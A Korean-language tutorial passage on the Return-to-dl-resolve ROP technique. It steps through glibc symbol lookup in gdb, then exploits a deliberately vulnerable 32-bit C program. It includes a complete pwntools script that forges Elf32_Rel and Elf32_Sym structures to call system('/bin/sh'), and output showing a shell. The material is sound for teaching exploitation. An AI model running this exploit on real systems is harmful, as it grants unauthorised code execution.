0xb7fe45e3	430	in dl-lookup.c
gdb-peda$ i r al
al             0x4a	0x4a
gdb-peda$ ni
0xb7fe45e5	430	in dl-lookup.c
gdb-peda$ i r eflags 
eflags         0x246	[ PF ZF IF ]
gdb-peda$ 
  • hasharr 영역에 저장된 값(0xb7e0ddb8)은 0x10a8b550(*hasharr) 이며, new_hash(0x10a8b550)의 값과 동일합니다.
if (((*hasharr ^ new_hash) >> 1) == 0)
gdb-peda$ ni
420	in dl-lookup.c

gdb-peda$ i r ebx
ebx            0xb7e0ddb8	0xb7e0ddb8
gdb-peda$ x/wx 0xb7e0ddb8
0xb7e0ddb8:	0x10a8b550
gdb-peda$ x/5i $eip
=> 0xb7fe45eb <do_lookup_x+1579>:	mov    eax,DWORD PTR [ebx]
   0xb7fe45ed <do_lookup_x+1581>:	mov    edx,ebp
   0xb7fe45ef <do_lookup_x+1583>:	xor    edx,eax
   0xb7fe45f1 <do_lookup_x+1585>:	shr    edx,1
   0xb7fe45f3 <do_lookup_x+1587>:	jne    0xb7fe45e0 <do_lookup_x+1568> 
gdb-peda$ b *0xb7fe45ef
Breakpoint 5 at 0xb7fe45ef: file dl-lookup.c, line 420.
gdb-peda$ c
Continuing.

420	in dl-lookup.c
gdb-peda$ i r eax
eax            0x10a8b550	0x10a8b550
gdb-peda$ i r edx
edx            0x10a8b550	0x10a8b550
gdb-peda$ ni

0xb7fe45f1	420	in dl-lookup.c
gdb-peda$ i r edx
edx            0x0	0x0
gdb-peda$ p 0x0 >> 1
$8 = 0x0
gdb-peda$ ni
0xb7fe45f3	420	in dl-lookup.c
gdb-peda$ i r eflags 
eflags         0x246	[ PF ZF IF ]
gdb-peda$ 
  • 다음과 같이 symidx의 값을 얻을 수 있습니다.
    • esi 레지스터에 저장된 값은 0xb7fd51b0 이며, 해당 값은 map의 주소 입니다.
    • 해당 주소에 0x18c을 더해서 map→l_gnu_chain_zero 변수의 주소(0xb7fd533c)를 얻을 수 있습니다.
    • 해당 영역(0xb7fd533c)에 저장된 값은 0xb7e0a96c 입니다.
    • 해당 값을 hasharr에 뺄셈한 값이 symidx 값 입니다.
      • 0xb7e0cdb8 - 0xb7e0a96c = 0x244c
    • 해당 값은 다음과 같이 변형됩니다.
      • 0x244c >> 2 (0x244c / 4) = 0x913 (symidx)
      • 0x913 << 4 (0x913 * 16)= 0x9130 (offset)

symidx = hasharr - map->l_gnu_chain_zero;
gdb-peda$ ni
422 in dl-lookup.c

gdb-peda$ ni
0xb7fe45f7	422	in dl-lookup.c

gdb-peda$ x/i $eip
=> 0xb7fe45f7 <do_lookup_x+1591>:	sub    esi,DWORD PTR [edi+0x18c]
gdb-peda$ i r edi
edi            0xb7fd51b0	0xb7fd51b0
gdb-peda$ p/x 0xb7fd51b0 + 0x18c
$10 = 0xb7fd533c
gdb-peda$ x/wx 0xb7fd533c
0xb7fd533c:	0xb7e0a96c
gdb-peda$ i r esi
esi            0xb7e0cdb8	0xb7e0cdb8
gdb-peda$ p/x 0xb7e0cdb8 - 0xb7e0a96c
$11 = 0x244c
gdb-peda$ ni

423	in dl-lookup.c
gdb-peda$ i r esi
esi            0x244c	0x244c
gdb-peda$ x/8i $eip
=> 0xb7fe45fd <do_lookup_x+1597>:	push   DWORD PTR [esp+0x18]
   0xb7fe4601 <do_lookup_x+1601>:	push   DWORD PTR [esp+0x24]
   0xb7fe4605 <do_lookup_x+1605>:	push   edi
   0xb7fe4606 <do_lookup_x+1606>:	push   DWORD PTR [esp+0x28]
   0xb7fe460a <do_lookup_x+1610>:	sar    esi,0x2
   0xb7fe460d <do_lookup_x+1613>:	mov    eax,esi
   0xb7fe460f <do_lookup_x+1615>:	push   esi
   0xb7fe4610 <do_lookup_x+1616>:	shl    eax,0x4
gdb-peda$ b *0xb7fe460a
Breakpoint 3 at 0xb7fe460a: file dl-lookup.c, line 422.
gdb-peda$ c
Continuing.
Breakpoint 3, do_lookup_x (undef_name=undef_name@entry=0x804825d "write", new_hash=new_hash@entry=0x10a8b550, old_hash=old_hash@entry=0xbffff4c0, ref=0x804820c, result=0xbffff4c8, 
    scope=0xb7fffa74, i=0x1, version=0xb7fd54a0, flags=0x1, skip=0x0, type_class=0x1, undef_map=0xb7fff918) at dl-lookup.c:422
422	in dl-lookup.c
gdb-peda$ i r esi
esi            0x244c	0x244c
gdb-peda$ p/x 0x244c >> 2
$1 = 0x913
gdb-peda$ ni

423	in dl-lookup.c
gdb-peda$ i r esi
esi            0x913	0x913
gdb-peda$ ni
0xb7fe460f	423	in dl-lookup.c
gdb-peda$ 
0xb7fe4610	423	in dl-lookup.c
gdb-peda$ x/i $eip
=> 0xb7fe4610 <do_lookup_x+1616>:	shl    eax,0x4
gdb-peda$ i r eax
eax            0x913	0x913
gdb-peda$ p/x 0x913 << 4
$2 = 0x9130
gdb-peda$ 
  • 앞에서 얻은 symidx 값을 이용하여 로드된 라이브러리 파일에서 찾고자하는 함수의 Elf32_Sym 구조체 정보를 가진 영역에 접근 할 수 있습니다.

    • libc의 .dynsym 영역은 0xb7e0cf28 입니다.

      • libc의 .dynsym 영역 offset : 0x3f28

      • libc의 시작 주소 : 0xb7e09000

    • "libc의 .dynsym 영역" + "symidx offset" = libc에서 찾고자 하는 함수의 Elf32_Sym 구조체 영역

      • 0xb7e0cf28 + 0x9130 = 0xb7e16058

The ".dynsym" area of the "/lib/i386-linux-gnu/ld-2.23.so" file
gdb-peda$ shell readelf -S /lib/i386-linux-gnu/libc-2.23.so
There are 70 section headers, starting at offset 0x1b3784:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .note.gnu.build-i NOTE            00000174 000174 000024 00   A  0   0  4
  [ 2] .note.ABI-tag     NOTE            00000198 000198 000020 00   A  0   0  4
  [ 3] .gnu.hash         GNU_HASH        000001b8 0001b8 003d70 04   A  4   0  4
  [ 4] .dynsym           DYNSYM          00003f28 003f28 0096f0 10   A  5   1  4
  [ 5] .dynstr           STRTAB          0000d618 00d618 005e44 00   A  0   0  1

  ...

  [69] .shstrtab         STRTAB          00000000 1b32e5 00049f 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
gdb-peda$ info proc map
process 20290
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /home/lazenca0x0/Documents/rop
	 0x8049000  0x804a000     0x1000        0x0 /home/lazenca0x0/Documents/rop
	 0x804a000  0x804b000     0x1000     0x1000 /home/lazenca0x0/Documents/rop
	0xb7e08000 0xb7e09000     0x1000        0x0 
	0xb7e09000 0xb7fb9000   0x1b0000        0x0 /lib/i386-linux-gnu/libc-2.23.so
	0xb7fb9000 0xb7fbb000     0x2000   0x1af000 /lib/i386-linux-gnu/libc-2.23.so
	0xb7fbb000 0xb7fbc000     0x1000   0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
	0xb7fbc000 0xb7fbf000     0x3000        0x0 
	0xb7fd5000 0xb7fd6000     0x1000        0x0 
	0xb7fd6000 0xb7fd9000     0x3000        0x0 [vvar]
	0xb7fd9000 0xb7fdb000     0x2000        0x0 [vdso]
	0xb7fdb000 0xb7ffe000    0x23000        0x0 /lib/i386-linux-gnu/ld-2.23.so
	0xb7ffe000 0xb7fff000     0x1000    0x22000 /lib/i386-linux-gnu/ld-2.23.so
	0xb7fff000 0xb8000000     0x1000    0x23000 /lib/i386-linux-gnu/ld-2.23.so
	0xbffdf000 0xc0000000    0x21000        0x0 [stack]
gdb-peda$ p/x 0xb7e09000 + 0x00003f28
$2 = 0xb7e0cf28
gdb-peda$ x/2wx 0xb7e0cf28 + 0x9130
0xb7e16058:	0x000013ff	0x000d5b70
gdb-peda$ 
  • 다음과 같이 libc에서 write함수의 주소를 찾을 수 있습니다.
    • libc에 저장된 write()함수의 Elf32_Sym 구조체 영역은 0xb7e16058입니다.
    • 해당 구조체의 st_value 영역(0xb7e16058 + 0x4)에 저장된 값이 write() 함수의 offset(0xd5b70) 입니다.

  • 다음과 같이 libc에 저장된 write()함수의 코드를 찾을 수 있습니다.
    • libc의 시작 주소 + write() 함수의 offset = libc에 저장된 write() 함수의 코드 영역
    • 0xb7e09000 + 0x000d5b70 = 0xb7edeb70

Get offset of write () function in libc.so file
gdb-peda$ ni
0xb7fe4610	423	in dl-lookup.c

gdb-peda$ x/i $eip
   0xb7fe4613 <do_lookup_x+1619>:	add    eax,DWORD PTR [esp+0x28]
gdb-peda$ i r esp
esp            0xbffff3d4	0xbffff3d4
gdb-peda$ x/wx 0xbffff3d4 + 0x28
0xbffff3fc:	0xb7e0cf28
gdb-peda$ i r eax
eax            0x9130	0x9130
gdb-peda$ x/2wx 0xb7e0cf28 + 0x9130
0xb7e16058:	0x000013ff	0x000d5b70
gdb-peda$ info proc map
process 20580
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /home/lazenca0x0/Documents/rop
	 0x8049000  0x804a000     0x1000        0x0 /home/lazenca0x0/Documents/rop
	 0x804a000  0x804b000     0x1000     0x1000 /home/lazenca0x0/Documents/rop
	0xb7e08000 0xb7e09000     0x1000        0x0 
	0xb7e09000 0xb7fb9000   0x1b0000        0x0 /lib/i386-linux-gnu/libc-2.23.so
	0xb7fb9000 0xb7fbb000     0x2000   0x1af000 /lib/i386-linux-gnu/libc-2.23.so
	0xb7fbb000 0xb7fbc000     0x1000   0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
	0xb7fbc000 0xb7fbf000     0x3000        0x0 
	0xb7fd5000 0xb7fd6000     0x1000        0x0 
	0xb7fd6000 0xb7fd9000     0x3000        0x0 [vvar]
	0xb7fd9000 0xb7fdb000     0x2000        0x0 [vdso]
	0xb7fdb000 0xb7ffe000    0x23000        0x0 /lib/i386-linux-gnu/ld-2.23.so
	0xb7ffe000 0xb7fff000     0x1000    0x22000 /lib/i386-linux-gnu/ld-2.23.so
	0xb7fff000 0xb8000000     0x1000    0x23000 /lib/i386-linux-gnu/ld-2.23.so
	0xbffdf000 0xc0000000    0x21000        0x0 [stack]
gdb-peda$ x/2i 0xb7e09000 + 0x000d5b70
   0xb7edeb70 <write>:	cmp    DWORD PTR gs:0xc,0x0
   0xb7edeb78 <write+8>:	jne    0xb7edeba0 <write+48>
gdb-peda$ 

Proof of concept

Example code

//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
 
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x0804843b : vuln 함수 코드 첫부분

    • 0x0804844f : read() 함수 호출 전

Breakpoints
lazenca0x0@ubuntu:~/Exploit/dl_resolve$ gdb -q ./rop
Reading symbols from ./rop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   0x0804843e <+3>:	sub    esp,0x48
   0x08048441 <+6>:	sub    esp,0x4
   0x08048444 <+9>:	push   0x200
   0x08048449 <+14>:	lea    eax,[ebp-0x3a]
   0x0804844c <+17>:	push   eax
   0x0804844d <+18>:	push   0x0
   0x0804844f <+20>:	call   0x8048300 <read@plt>
   0x08048454 <+25>:	add    esp,0x10
   0x08048457 <+28>:	nop
   0x08048458 <+29>:	leave  
   0x08048459 <+30>:	ret    
End of assembler dump.
gdb-peda$ b *0x0804843b
Breakpoint 1 at 0x804843b
gdb-peda$ b *0x0804844f
Breakpoint 2 at 0x804844f
gdb-peda$ 
  • 다음과 같이 Overflow를 확인할 수 있습니다.
    • Return address(0xbffff5cc) - buf 변수의 시작 주소 (0xbffff58e) = 62

    • 즉, 62개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
Check overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/dl_resolve/rop 
Hello ROP


Breakpoint 1, 0x0804843b in vuln ()
gdb-peda$ i r esp
esp            0xbffff5cc	0xbffff5cc
gdb-peda$ c
Continuing.

Breakpoint 2, 0x0804844f in vuln ()
gdb-peda$ x/3wx $esp
0xbffff570:	0x00000000	0xbffff58e	0x00000200
gdb-peda$ p/d 0xbffff5cc - 0xbffff58e
$1 = 62
gdb-peda$ 

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
Exploit 순서
  1. ROP를 이용하여 ".bss" 영역에 새로운 Return-to-resolve 코드를 저장합니다.
    1. fake_reloc_arg

    2. 호출할 함수의 인자 값
    3. Fake Elf32_Rel
    4. Fake Elf32_Sym
    5. 문자열 "system"
  2. ".bss"영역으로 이동하여 Return-to-resolve 코드를 실행합니다.
  • 이를 코드로 표현하면 다음과 같습니다.
ROP code
read(0,.bss + 0x300,100)
_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • Section Headers
    • .bss
    • .dynsym
    • .dynstr
    • .rel.plt
  • read@plt , read@got 주소
  • FAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym 구조체

Find Section Headers

  • 다음과 같은 방식을 Section Headers를 찾을 수 있습니다.
readelf -S ./rop
lazenca0x0@ubuntu:~/Exploit/dl_resolve$ readelf -S ./rop
There are 31 section headers, starting at offset 0x1810:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804827c 00027c 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048288 000288 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b0 0002b0 000018 08  AI  5  24  4
  [11] .init             PROGBITS        080482c8 0002c8 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080482f0 0002f0 000040 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048330 000330 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048340 000340 0001b2 00  AX  0   0 16
  [15] .fini             PROGBITS        080484f4 0004f4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048508 000508 000013 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0804851c 00051c 000034 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048550 000550 0000ec 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4
  [25] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1
  [27] .comment          PROGBITS        00000000 001020 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001705 00010a 00      0   0  1
  [29] .symtab           SYMTAB          00000000 001054 000470 10     30  47  4
  [30] .strtab           STRTAB          00000000 0014c4 000241 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
lazenca0x0@ubuntu:~/Exploit/dl_resolve$
PWNTOOLS
from pwn import *
from struct import *

elf = ELF('./rop')
 
# get section address
addr_dynsym 	= elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr 	= elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt 	= elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt    	= elf.get_section_by_name('.plt').header['sh_addr']
addr_bss    	= elf.get_section_by_name('.bss').header['sh_addr']
addr_plt_read   = elf.plt['read']
addr_got_read   = elf.got['read']

log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rel.plt : ' + hex(addr_relplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@plt : ' + hex(addr_plt_read))
log.info('read@got : ' + hex(addr_got_read))

FAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym

  • 다음과 같이 Fake 정보 영역을 확보합니다.

    • addr_fake_reloc 영역은 base_stage + 20 에 위치합니다.

      • base_stage ~ base_stage + 20 영역에는 addr_plt, fake_reloc_offset, tmp date, addr_fake_cmd,등의 정보가 저장됩니다.
    • addr_fake_sym 영역은 addr_fake_reloc 에 Elf32_Rel 구조체 크기(8)을 더한 곳에 위치 합니다.
    • addr_fake_symstr 영역은 addr_fake_sym 에서 Elf32_Sym 구조체 크기(16)를 더한 곳에 위치 합니다.

    • addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.

  • 다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.
    • addr_fake_reloc 값에서 addr_relplt 값을 빼서 fake_reloc_offset 값을 생성합니다.
    • fake_r_info 값은 다음과 같이 생성합니다.

      • addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(16)를 곱합니다.
      • ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 ~0xFF(-256)를 AND 연산합니다.
      • ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.
    • addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.
FAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym
stack_size = 0x300
base_stage = addr_bss + stack_size

addr_fake_reloc  = base_stage + 20
addr_fake_sym 	 = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd 	 = addr_fake_symstr +7
 
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info 	  = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF 	#FAKE ELF32_R_SYM
fake_r_info	  = fake_r_info | 0x7					#FAKE ELF32_R_TYPE
fake_st_name 	  = addr_fake_symstr - addr_dynstr

 Move to ".bss"(Change the value of the esp register)

  • vuln()함수의 취약성을 이용해 ".bss" 영역에 2번째 ROP코드를 저장한 후에 ".bss" 영역으로 이동하기 위해 다음과 같은 ROP코드를 작성합니다.
    • "pop ebp; ret" Gadget을 이용하여 base_stage 값을 ebp 레지스터에 저장합니다.
    • "leave; retGadget을 이용해 코드의 흐름을 Stack 영역에서 ".bss" 영역으로 변경됩니다.
      • "leave; " 명령어에 의해 ebp 레지스터에 저장된 값을 esp에 저장됩니다.
      • "ret;" 명령어에 의해 rsp 레지스터에 저장된 주소(Gadbase_stage + 0x4)로 이동합니다.
Move to ".bss"
#read(0,base_stage,100)
#jmp base_stage
buf1 = 'A'* 62
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)

Return-to-dl-resolve

  • ".bss" 영역에 다음과 같이 Data를 저장합니다.
_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
buf2 = 'AAAA'
buf2 += p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += 'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(addr_got_read) 
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name) 
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'

Exploit code

Rop.py
from pwn import *
from struct import *
  
#context.log_level = 'debug'
elf = ELF('./rop')
 
# get section address
addr_dynsym 	= elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr 	= elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt 	= elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt    	= elf.get_section_by_name('.plt').header['sh_addr']
addr_bss    	= elf.get_section_by_name('.bss').header['sh_addr']
addr_plt_read   = elf.plt['read']
addr_got_read   = elf.got['read']

log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rel.plt : ' + hex(addr_relplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@plt : ' + hex(addr_plt_read))
log.info('read@got : ' + hex(addr_got_read))
 
addr_pop3 = 0x080484e9
addr_pop_ebp = 0x080484eb
addr_leave_ret = 0x080483a8

stack_size = 0x300
base_stage = addr_bss + stack_size

#read(0,base_stage,100)
#jmp base_stage
buf1 = 'A'* 62
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)
 
addr_fake_reloc  = base_stage + 20
addr_fake_sym 	 = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd 	 = addr_fake_symstr +7
 
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info 	  = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF 	#FAKE ELF32_R_SYM
fake_r_info	  = fake_r_info | 0x7									#FAKE ELF32_R_TYPE
fake_st_name 	  = addr_fake_symstr - addr_dynstr

log.info('') 
log.info('Fake Struct Information')
log.info('fake_reloc_offset : ' + hex(fake_reloc_offset))
log.info('addr_fake_cmd   : ' + hex(addr_fake_cmd))
log.info('addr_got_read   : ' + hex(addr_got_read))
log.info('fake_r_info   : ' + hex(fake_r_info))
log.info('fake_st_name   : ' + hex(fake_st_name))

#_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
buf2 = 'AAAA'
buf2 += p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += 'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(addr_got_read) 
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name) 
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
 
binary = ELF(elf.path)
p = process(binary.path)
p.recvn(10)
p.send(buf1)
p.send(buf2)
p.interactive()
Get shell!
lazenca0x0@ubuntu:~/Exploit/dl_resolve$ python exploit.py 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/lazenca0x0/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/lazenca0x0/Exploit/dl_resolve/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Section Headers
[*] .dynsym  : 0x80481cc
[*] .dynstr  : 0x804822c
[*] .rel.plt : 0x80482b0
[*] .plt     : 0x80482f0
[*] .bss     : 0x804a020
[*] read@plt : 0x8048300
[*] read@got : 0x804a00c
[*] 
[*] Fake Struct Information
[*] fake_reloc_offset : 0x2084
[*] addr_fake_cmd   : 0x804a353
[*] addr_got_read   : 0x804a00c
[*] fake_r_info   : 0x21707
[*] fake_st_name   : 0x2120
[+] Starting local process '/home/lazenca0x0/Exploit/dl_resolve/rop': pid 12887
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

References